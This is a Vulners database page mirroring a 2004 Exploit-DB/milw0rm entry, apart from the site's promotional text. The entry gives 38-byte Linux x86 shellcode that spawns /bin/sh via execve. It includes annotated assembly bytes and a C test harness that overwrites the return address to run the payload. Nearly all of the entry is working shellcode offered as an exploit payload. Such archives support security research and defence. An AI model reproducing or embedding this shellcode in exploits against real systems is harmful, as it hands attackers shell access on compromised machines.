Lucene search
K

linux/x86 execve /bin/sh 38 bytes

🗓️ 12 Sep 2004 00:00:00Reported by Matias SedaloType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 22 Views

Executes a shell using execve in Linux x86 architecture with 38 bytes of shellcode.

Code
/*
 * [email protected]
 * execve /bin/sh
 *
 * main() {
 *  char *name[2];
 *  name[0]="/bin/sh";
 *  name[1]=NULL;
 *  execve(name[0],name,NULL);
 * }
*/

#include <stdio.h>

char shellcode[]=
"\xeb\x18"		//	jmp	0x18		// 3-4
"\x5e"			//	popl	%esi		// 5
"\x89\x76\x08"		//	movl	%esi, 0x8(%esi)	// 6-8
"\x31\xc0"		//	xorl	%eax, %eax	// 9-10
"\x88\x46\x07"		//	movb	%al, 0x7(%esi)  // 11-13
"\x89\x46\x0c"		//	movl	%eax, 0xc(%esi)	// 14-16  
"\x89\xf3"		//	movl	%esi, %ebx	// 17-18
"\x8d\x4e\x08"		//	leal	0x8(%esi), %ecx	// 19-21
"\x8d\x56\x0c"		//	leal	0xc(%esi), %edx	// 22-24
"\xb0\x0b"		//	movb	$0xb, %al	// 25-20 0xb to eax (syscall execve)6
"\xcd\x80"		//	int	$0x80		// 27-28
"\xe8\xe3\xff\xff\xff"	//	call	-0x1d
"/bin/sh";

main() {
	int *ret;
	ret=(int *)&ret +2;
	printf("Shellcode lenght=%d\n",strlen(shellcode));
	(*ret) = (int)shellcode;
}

// milw0rm.com [2004-09-12]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

12 Sep 2004 00:00Current
0.1Low risk
Vulners AI Score0.1
22